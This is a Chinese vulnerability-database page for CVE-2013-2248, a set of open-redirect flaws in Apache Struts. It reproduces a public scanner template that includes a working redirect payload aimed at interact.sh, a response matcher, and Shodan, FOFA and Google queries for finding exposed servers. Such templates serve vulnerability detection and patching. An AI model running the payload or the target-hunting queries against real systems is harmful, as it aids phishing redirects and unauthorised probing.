CVE-2013-2248: Apache Struts - Multiple Open Redirection Vulnerabilities

日期: 2025-08-01 | 影响软件: Apache Struts | POC: 已公开

漏洞描述

Apache Struts is prone to multiple open-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.

PoC代码[已公开]

id: CVE-2013-2248

info:
  name: Apache Struts - Multiple Open Redirection Vulnerabilities
  author: 0x_Akoko
  severity: medium
  description: Apache Struts is prone to multiple open-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.
  impact: |
    An attacker can exploit these vulnerabilities to redirect users to malicious websites, leading to phishing attacks or the download of malware.
  remediation: Developers should immediately upgrade to Struts 2.3.15.1 or later.
  reference:
    - https://www.exploit-db.com/exploits/38666
    - https://nvd.nist.gov/vuln/detail/CVE-2013-2248
    - https://cwiki.apache.org/confluence/display/WW/S2-017
    - http://struts.apache.org/release/2.3.x/docs/s2-017.html
    - http://www.fujitsu.com/global/support/software/security/products-f/interstage-bpm-analytics-201301e.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:N
    cvss-score: 5.8
    cve-id: CVE-2013-2248
    cwe-id: CWE-20
    epss-score: 0.93524
    epss-percentile: 0.99824
    cpe: cpe:2.3:a:apache:struts:2.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve2013,cve,apache,redirect,struts,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.action?redirect:http://www.interact.sh/"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
# digest: 4a0a0047304502206a7a6dec51751fb337c276f53477da9585f109866efec6c10fafdbcc7fe6983d02210089050113e8693f7ef4da4caaa705c947612edb8655c62fa1c09728b5728e3cfa:922c64590222798bb761d5b6d8e72950

相关漏洞推荐